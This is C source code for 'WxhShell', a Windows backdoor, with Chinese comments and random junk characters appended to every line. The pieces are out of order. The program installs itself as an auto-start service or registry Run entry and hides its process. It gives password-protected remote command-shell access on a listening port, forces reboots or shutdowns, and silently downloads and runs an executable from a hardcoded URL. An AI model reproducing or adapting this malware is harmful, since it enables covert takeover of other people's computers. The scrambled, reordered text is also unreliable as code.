    break; *Vr;rk  
    } C[s='v~}  
  // 关机 1YJ@9*l  
  case 'd': { k\A[p\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B0$.oavC  
    if(Boot(SHUTDOWN)) [&K"OQ^\2h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /\ u1q<  
    else { ZDTp/5=?K/  
    closesocket(wsh); jrZH1dvE  
    ExitThread(0); ]5sU =\  
    } +?bjP6w_g  
    break; yR4++yk  
    } 4$MV]ldUI  
  // 获取shell t# <(Q  
  case 's': { NW`L6wgl  
    CmdShell(wsh); D,&o=EU  
    closesocket(wsh); K} TSwY  
    ExitThread(0); OoOr@5g  
    break; N5|wBm>m  
  } X-}]?OOs  
  // 退出 K\y W{y1  
  case 'x': { hhcO ]*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ql(~3/kA_  
    CloseIt(wsh); r l>e~i  
    break; )A=&3Ui)ab  
    } \3 M%vJ  
  // 离开 }x(Ewr  
  case 'q': { akV-|v_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RAAu3QKu  
    closesocket(wsh); -i*]Sgese  
    WSACleanup(); 'NSfGC%7R  
    exit(1); WI\jm&H r  
    break; TpAso[r  
        } 2b^E8+r9  
  } prO ~g  
  } dj5@9X  
N%fDgK  
  // 提示信息  RR[1mM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  re@;6o  
} rYPj3!#  
  } UB3hC`N\  
%%qg<iO_  
  return; \<Di |X1  
} iKA}??5e  
RLR\*dL1  
// shell模块句柄 ;>r E+k%_  
int CmdShell(SOCKET sock) :@K~>^+U  
{ %hN7K  
STARTUPINFO si; gRg8D{  
ZeroMemory(&si,sizeof(si)); OSIf>1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %eW2w@8]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AGK{t+`  
PROCESS_INFORMATION ProcessInfo; o>e-M  
char cmdline[]="cmd"; ]!v\whZ>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \VHRI<$+5  
  return 0; kadw1sYj  
} A&L2&ofV&q  
,| ~Pa  
// 自身启动模式 @ GXi{9  
int StartFromService(void) m e2$ R>@  
{ O1Nya\^g<I  
typedef struct _E8doV  
{ v{oHC4  
  DWORD ExitStatus; Z!*k0 <Z  
  DWORD PebBaseAddress; 8om)A0S  
  DWORD AffinityMask; ?$~5ti#\  
  DWORD BasePriority; j71RlS73  
  ULONG UniqueProcessId; k`NXYf:  
  ULONG InheritedFromUniqueProcessId; 3.w &e0Es  
}   PROCESS_BASIC_INFORMATION; jq( QL%)_O  
x/uC)xm  
PROCNTQSIP NtQueryInformationProcess; B~47mw&b  
yt#~n _  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XU6SYC"t%~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~=gpn|@b  
y)mtSA8  
  HANDLE             hProcess; <Y+>a#T  
  PROCESS_BASIC_INFORMATION pbi; m4,inA:o  
,$bK)|pGV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l^R1XBP  
  if(NULL == hInst ) return 0; MQq!<?/  
hFMT@Gy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %:yVjb,Yf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); epG!V#I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vw+RRi(  
ca,U>'(y  
  if (!NtQueryInformationProcess) return 0; ][B>`gC-  
nHl{'|~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /-&2>4I  
  if(!hProcess) return 0; *}=z^;_oq  
2 >/}-a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pZ5eGA=  
lf}%^od~6  
  CloseHandle(hProcess); Ny G?^  
"z4V@gk   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M?QX'fia  
if(hProcess==NULL) return 0; A>%mJ3M  
M`H@ % M  
HMODULE hMod; + I4s0  
char procName[255]; `Hd~H  
unsigned long cbNeeded; q z8Jvgu?  
I 8VCR8q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RL b o  
PG@6*E  
  CloseHandle(hProcess); e`zCz`R  
~2[mZias  
if(strstr(procName,"services")) return 1; // 以服务启动 $lb$<  
kHd`k.nW  
  return 0; // 注册表启动 *{dMo,.eI  
} F&a)mpFv3c  
#7=- zda5  
// 主模块 X9;51JV  
int StartWxhshell(LPSTR lpCmdLine) >\[|c  
{ }X~"RQf9  
  SOCKET wsl; 3u[5T|D'  
BOOL val=TRUE; bp>M&1^KY  
  int port=0; Ca ?d8  
  struct sockaddr_in door; F<J`1 :  
lsKQZ@LN`  
  if(wscfg.ws_autoins) Install(); q,>4#J[2;s  
h_15"rd  
port=atoi(lpCmdLine); YR u#JYti  
Lmw4  
if(port<=0) port=wscfg.ws_port; \e~5Dx1  
2*a5pFkb  
  WSADATA data; 6@FGt3y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,1>n8f77]  
f7:}t+d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dZCnQIS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kY{;(b3Q  
  door.sin_family = AF_INET; 7KN+ @6!x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fb6d1I^wR  
  door.sin_port = htons(port); GQDW}b8  
8/R9YiY5*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1u~a*lO}  
closesocket(wsl); v\D.j4%ij  
return 1; 3L9@ELY4  
} 2yV^'o)  
FT\%=>{  
  if(listen(wsl,2) == INVALID_SOCKET) { CIj7' V  
closesocket(wsl); 4@QR2K|  
return 1; #U.6HBuQa  
}  rp=Y }  
  Wxhshell(wsl); [F 24xC+  
  WSACleanup(); iw{^nSD  
*gOUpbtXa  
return 0; zBc |gx  
.0p'G}1  
} 1NkJs&  
t&~*!w!+jH  
// 以NT服务方式启动 wH+| & C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >65\  
{ OO\$'% y`  
DWORD   status = 0; &Qq|  
  DWORD   specificError = 0xfffffff; ~l]g4iEp  
u}89v1._Jn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TQth"Cv2:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~~q>]4>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "b) hj?  
  serviceStatus.dwWin32ExitCode     = 0; ._q<~_~R  
  serviceStatus.dwServiceSpecificExitCode = 0; n?"("Fiw  
  serviceStatus.dwCheckPoint       = 0; 'xGTaKlm,  
  serviceStatus.dwWaitHint       = 0; V=<AI.Z:w  
a\}` f=T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); klnk{R.>|  
  if (hServiceStatusHandle==0) return; KbMan~Pb6  
Q 3/J @MC  
status = GetLastError(); Hyi'z1  
  if (status!=NO_ERROR) /@&#U bN\  
{ ?in)kL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vRH2[{KQ9  
    serviceStatus.dwCheckPoint       = 0; lIPz "  
    serviceStatus.dwWaitHint       = 0; nd&i9l  
    serviceStatus.dwWin32ExitCode     = status; &Bqu2^^  
    serviceStatus.dwServiceSpecificExitCode = specificError; &@=W+A=c~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =MT'e,T  
    return; M0$E_*  
  } V>D}z8w7  
{W HK|l   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O=6[/oc '  
  serviceStatus.dwCheckPoint       = 0; qg:EN~E#  
  serviceStatus.dwWaitHint       = 0; / }*}r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KDb`g}1Q  
} ~K"nm{.  
p(nEcu  
// 处理NT服务事件,比如:启动、停止 mF4y0r0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VOIni<9y  
{ 'V &Tlw|  
switch(fdwControl) dsH*9t:z  
{ LqNyi   
case SERVICE_CONTROL_STOP: "BZ@m:I6hy  
  serviceStatus.dwWin32ExitCode = 0; iB`EJftI!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v7\rW{~Jd&  
  serviceStatus.dwCheckPoint   = 0; VfUHqdg-  
  serviceStatus.dwWaitHint     = 0; 8H|ac[hXK2  
  { >P]gjYN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Ua=&;/2  
  } `F3wO!  
  return; ;e< TEs  
case SERVICE_CONTROL_PAUSE: ci/qm\JI<<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wJ7^)tTRF  
  break; \0vs93>?  
case SERVICE_CONTROL_CONTINUE: X?XB!D7[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U`5/tNx  
  break; $HtGB]  
case SERVICE_CONTROL_INTERROGATE: *+nw%gZG  
  break; H \'1.8g/  
}; >|yP`m   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (.X)=  
} i,S1|R  
{&UA6 0~6  
// 标准应用程序主函数 x,zYNNx5g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1vxQ`)a  
{ r-yUWIr S  
%V+"i_{m  
// 获取操作系统版本 (w:,iw#  
OsIsNt=GetOsVer(); r)OiiD"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -e_o p'`  
53gLz_ee  
  // 从命令行安装 2pU'&8  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y}: 4y$<  
r7L.W  
  // 下载执行文件 /'5d0' ,M  
if(wscfg.ws_downexe) { ^9 ]iUx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V)l:fUm2  
  WinExec(wscfg.ws_filenam,SW_HIDE); :0QDV~bs  
} a(=lQ(v/?  
{dm>]@"S  
if(!OsIsNt) { e([>sAx!1  
// 如果时win9x,隐藏进程并且设置为注册表启动 kkWv#,qwU  
HideProc(); a2tEp+7?  
StartWxhshell(lpCmdLine); ar6+n^pi0]  
} RRV%g!  
else i q oXku  
  if(StartFromService()) I "O^.VC  
  // 以服务方式启动 :8hI3]9  
  StartServiceCtrlDispatcher(DispatchTable); %y|pVN!U  
else =&,T@5&-=  
  // 普通方式启动 74MxU  
  StartWxhshell(lpCmdLine); +L`}(yLJ)9  
{Dk!<w I)  
return 0; s\pukpf@  
} q7f`:P9~  
&(A#F[ =0  
)G Alj;9A$  
J?yasjjgP  
=========================================== 8V 4e\q  
>}%#s`3W1_  
NjpWK ;L  
bxtH`^  
kLF`6ZXtd  
At?|[%< `  
"  Pd\4hy  
}7(+#ISK6  
#include <stdio.h> PJ0~ymE1~G  
#include <string.h> |Z{#DOT  
#include <windows.h> KFwuz()7  
#include <winsock2.h> peBHZJ``RX  
#include <winsvc.h> jwa6`u  
#include <urlmon.h> ,;Wm>V)o  
/51$o\4 S  
#pragma comment (lib, "Ws2_32.lib") d"06 gp  
#pragma comment (lib, "urlmon.lib") wT\BA'VQ  
6j XDLI  
#define MAX_USER   100 // 最大客户端连接数 [n)ak)_/  
#define BUF_SOCK   200 // sock buffer $wp>2  
#define KEY_BUFF   255 // 输入 buffer GEF's#YWK  
t;6<k7h  
#define REBOOT     0   // 重启 $"W[e"Q  
#define SHUTDOWN   1   // 关机 Q=Mv"~2>B  
rzIWQFv  
#define DEF_PORT   5000 // 监听端口 19qH WU^0V  
RQ =$, i`  
#define REG_LEN     16   // 注册表键长度 z$R&u=J  
#define SVC_LEN     80   // NT服务名长度 ''@Tke3IG6  
Rw{' O]Q*  
// 从dll定义API j \jMN*dmV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $q:l \  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '`2'<^yO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AXHY$f|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tjwf;g}$  
[|oG}'Xz  
// wxhshell配置信息 Ie/_gz^  
struct WSCFG { JAd .\2%Y  
  int ws_port;         // 监听端口 Os-Z_zSl6  
  char ws_passstr[REG_LEN]; // 口令 !DFTg 4xb  
  int ws_autoins;       // 安装标记, 1=yes 0=no JxtzI2  
  char ws_regname[REG_LEN]; // 注册表键名 ]jxyaE&%4  
  char ws_svcname[REG_LEN]; // 服务名 i@nRZ$K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F_'{:v1GW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U1y!R<qlp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v77UE"4|c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z9$pY=8^?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e}yF2|0FD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X-(( [A  
s(3u\#P  
}; 5@%Gq)z5  
S/)),~`4  
// default Wxhshell configuration e8("G[P >  
struct WSCFG wscfg={DEF_PORT, jyW={%&  
    "xuhuanlingzhe", U<0Wa>3zj  
    1, 8xAIn>,_  
    "Wxhshell", S8dfe~|7:  
    "Wxhshell", d.~ns4bt9  
            "WxhShell Service", "[~yu* S  
    "Wrsky Windows CmdShell Service", _lkVT']  
    "Please Input Your Password: ", aUZ?Ue9l>2  
  1, lqOpADLS3  
  "http://www.wrsky.com/wxhshell.exe", r+ 8Tp|%  
  "Wxhshell.exe" w/o^OjwQ  
    }; Xydx87L/-e  
aSIb0`(3  
// 消息定义模块 ]rj~3du\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !9 kNL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WLXt@dK*u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gPB=Z!  
char *msg_ws_ext="\n\rExit."; v\6.#>NQ  
char *msg_ws_end="\n\rQuit."; Al*=%nY  
char *msg_ws_boot="\n\rReboot..."; KyX2CfW}t  
char *msg_ws_poff="\n\rShutdown..."; w:%NEa,Z  
char *msg_ws_down="\n\rSave to "; Tx K v!-1  
,jC~U s<  
char *msg_ws_err="\n\rErr!"; J&~I4ko]  
char *msg_ws_ok="\n\rOK!"; L]z8'n,  
=<HekiYM  
char ExeFile[MAX_PATH]; j:1N&7<FU  
int nUser = 0; ]I,&Bme  
HANDLE handles[MAX_USER]; cI8\d 4/py  
int OsIsNt; ,^c-}`!K  
H if| z[0$  
SERVICE_STATUS       serviceStatus; ) 6QJZ$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L@[}sMdq(  
Zj]tiN f\"  
// 函数声明 >g!$H}\  
int Install(void); OXM=@B<"  
int Uninstall(void); cD`?" n  
int DownloadFile(char *sURL, SOCKET wsh); 6/wC StZ  
int Boot(int flag); W895@  
void HideProc(void); P??P"^hU  
int GetOsVer(void); n-M6~   
int Wxhshell(SOCKET wsl); "" ^n^$  
void TalkWithClient(void *cs); 1N$OXLu  
int CmdShell(SOCKET sock); 0N!rIz  
int StartFromService(void); K{I"2c  
int StartWxhshell(LPSTR lpCmdLine); WP\kg\o  
'j'6x'[> ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \ky oA Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \\ R<HuTY  
/PaS <"<P@  
// 数据结构和表定义 '>|K d{J0  
SERVICE_TABLE_ENTRY DispatchTable[] = Cd^1E]O0{  
{ x4kQGe(  
{wscfg.ws_svcname, NTServiceMain}, C3=0 st$  
{NULL, NULL} aj1g9 y  
}; 30I-E ._F  
]Gm4gd`  
// 自我安装 9 AD*  
int Install(void) jt6_1^  
{ 3%9XJ]Qao  
  char svExeFile[MAX_PATH]; F# 9^RA)9  
  HKEY key; MX#LtCG#V  
  strcpy(svExeFile,ExeFile); 5,4" CF$  
S3HyB b  
// 如果是win9x系统,修改注册表设为自启动 GJU(1%-  
if(!OsIsNt) { /z!y[ri+J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N\]-/$z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7fWZ/;p  
  RegCloseKey(key); vAG|Y'aO@%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J=kf KQV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HI:1Voy  
  RegCloseKey(key); //r)dN^  
  return 0; ?vWF[ DRd'  
    } %b_0l<+  
  } G 9 &,`  
} TT;ls<(Lg  
else { { **W7\h  
PL31(!`@d  
// 如果是NT以上系统,安装为系统服务 s4f{ziLp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (8ct'Q;  
if (schSCManager!=0) ^pY8'LF6  
{ >U\P^yU  
  SC_HANDLE schService = CreateService a|]deJU^  
  (  Jc]k\U  
  schSCManager, _'y`hKeI[  
  wscfg.ws_svcname, W4P\HM>2  
  wscfg.ws_svcdisp, k]-Q3 V  
  SERVICE_ALL_ACCESS, (u@X5O(a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y0Tw:1a  
  SERVICE_AUTO_START, C %j%>X`  
  SERVICE_ERROR_NORMAL, 9RS viIi$  
  svExeFile, OqH3. @eK  
  NULL, t5 ^hZZ  
  NULL, Mg}/gO% o  
  NULL, e1V1Ae  
  NULL, SuI^8^f=  
  NULL `{IL.9M!f  
  ); =?]S8cth  
  if (schService!=0) 3,hu3"@k  
  { u+6L>7t88I  
  CloseServiceHandle(schService); :YX5%6  
  CloseServiceHandle(schSCManager); dqgr98  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kbH@h2Ww  
  strcat(svExeFile,wscfg.ws_svcname); BSr#;;\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zv mkb%8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 64"DT3:  
  RegCloseKey(key); \v{HjqVkC  
  return 0; XXwo(trs~=  
    } 3)e{{]6  
  } 211T}a  
  CloseServiceHandle(schSCManager); 5D7k[+6  
} 9G7Brs:  
} @0tX ,Z9  
j}J=ZLr/V"  
return 1; 5w~J"P6jg  
} heWQPM|s  
f\RTO63|O  
// 自我卸载 |,H 2ge  
int Uninstall(void) F]<2nb7  
{ %SCt_9u  
  HKEY key; .>}Z3jUrf  
y G mFi  
if(!OsIsNt) { 8aM\B%NGWi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <4zSh3  
  RegDeleteValue(key,wscfg.ws_regname); |v#D}E  
  RegCloseKey(key); QaA?UzB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G%!i="/9  
  RegDeleteValue(key,wscfg.ws_regname); )3 f\H  
  RegCloseKey(key);  VS7  
  return 0; Q TN24 q4  
  } z7P~SM  
} m9D Tz$S.  
} f+)LVT8p  
else { (KPD`l8.  
1TGE>HG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :}#j-ZCC"  
if (schSCManager!=0) 2r+nr  
{ U(OkTJxv+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fs=)*6}&  
  if (schService!=0) Qs#;sy W@~  
  { /Ah'KN|EN  
  if(DeleteService(schService)!=0) { @W==)S%O  
  CloseServiceHandle(schService); (WY9EJ<s,  
  CloseServiceHandle(schSCManager); QOPh3+.5  
  return 0; '0o^T 7C  
  } cT&lkS  
  CloseServiceHandle(schService); >r}?v3QW  
  } ~Dw% d;  
  CloseServiceHandle(schSCManager); q]Xu #:X  
} d{B0a1P  
} $S2 /*  
#i*PwgC%_  
return 1; zYWVz3l  
} Ul 85-p  
~RBa&Y=Mb  
// 从指定url下载文件 w?M"`O(  
int DownloadFile(char *sURL, SOCKET wsh) eIf-7S]m  
{ &%(SkL_]  
  HRESULT hr; _~P &8  
char seps[]= "/"; SD@ 0X[  
char *token; :2wT)wz  
char *file; b+f '  
char myURL[MAX_PATH]; 8|L5nQ  
char myFILE[MAX_PATH]; OCCC' k  
0&\71txrzg  
strcpy(myURL,sURL); +Ll29Buyi  
  token=strtok(myURL,seps); u{D]Kc?n  
  while(token!=NULL) $DnR[V}rR!  
  { ~xws5n}F  
    file=token; 1L?W+zMO  
  token=strtok(NULL,seps); ;/IX w>O(/  
  } G<`(d@g  
pQ4HX)<P  
GetCurrentDirectory(MAX_PATH,myFILE); CEzdH!nP  
strcat(myFILE, "\\"); \~U:k4  
strcat(myFILE, file); E4.A$/s8[  
  send(wsh,myFILE,strlen(myFILE),0); VOg'_#I  
send(wsh,"...",3,0); x[+bLlb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i!(5y>I_  
  if(hr==S_OK) E2`9H-6e  
return 0; %*gg6Q  
else D})12qB;u9  
return 1; N\?__WlBK7  
txX>zR*)  
} ?UeV5<TewS  
qn}VW0!  
// 系统电源模块 &Rz-;66bN  
int Boot(int flag) Lso%1M  
{ 0| =y#`;,Z  
  HANDLE hToken; jj ' epbA  
  TOKEN_PRIVILEGES tkp; *Z2Ko5&Y2  
K,*z8@  
  if(OsIsNt) { AOV{@ b(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QXy= |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #2Iw%H2q&  
    tkp.PrivilegeCount = 1; Jv]$@>#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N6%L4v8-}X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (_gt!i{h  
if(flag==REBOOT) { $ma@z0%8}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p^ OHLT  
  return 0; Wk!<P" nHd  
} L EFLKC  
else { G2P:|R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WU,b<PU &  
  return 0; $}us+hGZ  
} 5EECr \*  
  } P1Iy >%3  
  else { (rBYE[@,  
if(flag==REBOOT) { ={o)82LV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :$P1ps3B  
  return 0; s<3M_mt  
} O+=}x]q*y  
else { { qCFd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E!L_"GW  
  return 0; E7/i_Xkk  
} VAqZ`y  
} ::cI4D  
2j ]uB0  
return 1; K&T.~2'>  
} d(KK7SQg  
)gAqWbkB  
// win9x进程隐藏模块 K7i@7  
void HideProc(void) ,<s:* k  
{ /^X)>1)j  
@_ UI;*V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "/3YV%to-#  
  if ( hKernel != NULL ) N]\)Ok  
  { nD!t*P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2 ksbDl}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p$*P@qm  
    FreeLibrary(hKernel); q_"w,28  
  } BhiOV_}Hn  
5%@~"YCo  
return; =hI;5KF  
} $)6M@S  
\pP1k.~UnC  
// 获取操作系统版本 tOo\s&j  
int GetOsVer(void) GBT219Z@8  
{ 3|EAOoWnK  
  OSVERSIONINFO winfo; 9j5-/   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Oa M~rze  
  GetVersionEx(&winfo); N-45LS@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -*kZ2grLt  
  return 1; 'X ?Iho  
  else AWA J*6Z  
  return 0; Id8e%)  
} :EH>&vm  
.;(a;f+{;  
// 客户端句柄模块 [EK^0g   
int Wxhshell(SOCKET wsl) h*3{IHAQ  
{ ^E~1%Md.  
  SOCKET wsh; S5YEz XG  
  struct sockaddr_in client; wT-K g=-q  
  DWORD myID; 'Axe:8LA'  
b%0@nu4  
  while(nUser<MAX_USER) `L!L=.}4  
{ _ G2)=yj]  
  int nSize=sizeof(client); `91Z]zGpU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^SM5oK  
  if(wsh==INVALID_SOCKET) return 1; 6:Y2z!MLO  
p=|S %  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .*z$vl  
if(handles[nUser]==0) {z9z#8`C;  
  closesocket(wsh); $)KNpdXh  
else uWP0(6 %  
  nUser++; uh>"TeOi  
  } >X=VPh8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .LbAR u  
j8^zE,Z  
  return 0; bXqTc2>=  
} &MB1'~Q,hq  
$Yw~v36`t/  
// 关闭 socket $FZcvo3@*S  
void CloseIt(SOCKET wsh) jzwHb'4B3  
{ `B$Pk0>5r  
closesocket(wsh); mXyg\5  
nUser--; O[p c$Pi  
ExitThread(0); 64^l/D(  
} +4Q1s?`  
h<n2pz}  
// 客户端请求句柄 ]u:Ij|.'y0  
void TalkWithClient(void *cs) EiyHZ  
{ 90ov[|MkM  
,D&-.`'E  
  SOCKET wsh=(SOCKET)cs; 1Ve~P"w  
  char pwd[SVC_LEN]; P0k.\8qz  
  char cmd[KEY_BUFF]; #F6M<V'  
char chr[1]; S>Gb Jt(]  
int i,j; b'vIX< g  
(UTA3Db  
  while (nUser < MAX_USER) { Qo*OC 9E`  
:'[ha$  
if(wscfg.ws_passstr) { =Q6JXp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^b^buCYw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E 5mYFVK  
  //ZeroMemory(pwd,KEY_BUFF); FV/lBWiQQ  
      i=0; e2pFX?  
  while(i<SVC_LEN) { + +Eu.W;&#  
Ri*mu*r\}  
  // 设置超时 p4 $4;)  
  fd_set FdRead; +WguWLO"  
  struct timeval TimeOut; E `V?Io  
  FD_ZERO(&FdRead); AtqsrYj  
  FD_SET(wsh,&FdRead); x1" 8K  
  TimeOut.tv_sec=8; `3z6y& dmx  
  TimeOut.tv_usec=0; =NWzsRl,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D8{f7{nY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3-)R'  
X+ /^s)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pj5:=d8z(  
  pwd=chr[0]; <S12=<c?'  
  if(chr[0]==0xd || chr[0]==0xa) { mApl;D X  
  pwd=0; Z@AN0?,`~o  
  break; R?Ch8mW.!  
  } <L2z|%`  
  i++; 14(ct  
    } <@y(ikp>  
jY ;Hdb''  
  // 如果是非法用户,关闭 socket U}l=1B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oq,*@5xV2  
} Oe;1f#` 5  
`9A`pC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4{0vdpo3F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fz| r[  
O8-Z >;  
while(1) { 474 oVdGx  
2Tv W 6  
  ZeroMemory(cmd,KEY_BUFF); lk=[Xo  
R''2o_F6  
      // 自动支持客户端 telnet标准   mqY=N~/O  
  j=0; 7Q~$&G  
  while(j<KEY_BUFF) { []?*}o5&>T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bzZ7L-yD  
  cmd[j]=chr[0]; Ty*+?#`  
  if(chr[0]==0xa || chr[0]==0xd) { Gq7\b({=  
  cmd[j]=0; V5 Gy|X  
  break; 7Oi<_b  
  } w,X J8+B  
  j++; }}Gkipp  
    } Dj3,SJ*x  
;Q[E>j?w=  
  // 下载文件 f*^bV_  
  if(strstr(cmd,"http://")) { _P%PjFQ)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fe}RmnAC  
  if(DownloadFile(cmd,wsh)) IU"8.(;o  
